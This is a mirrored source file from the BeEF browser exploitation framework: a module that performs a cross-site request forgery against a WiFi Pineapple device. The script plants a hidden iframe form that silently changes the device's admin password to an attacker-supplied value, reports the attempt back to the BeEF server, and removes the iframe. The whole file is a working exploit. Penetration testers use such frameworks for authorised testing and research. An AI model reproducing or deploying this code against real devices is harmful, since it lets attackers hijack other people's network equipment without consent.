Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/wifi_pineapple_csrf/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var gateway = '<%= @base %>';
9
var passwd = '<%= @password %>';
10
var timeout = 15;
11
12
var wifi_pineapple_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "/components/system/configuration/functions.php?change_password", "POST", "application/x-www-form-urlencoded", [
13
{'type':'hidden', 'name':'password', 'value':passwd} ,
14
{'type':'hidden', 'name':'repeat', 'value':passwd},
15
{'type':'hidden', 'name':'change_password', 'value':'Change Password'}
16
]);
17
18
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
19
20
cleanup = function() {
21
document.body.removeChild(wifi_pineapple_iframe_<%= @command_id %>);
22
}
23
setTimeout("cleanup()", timeout*1000);
24
25
});
26
27
28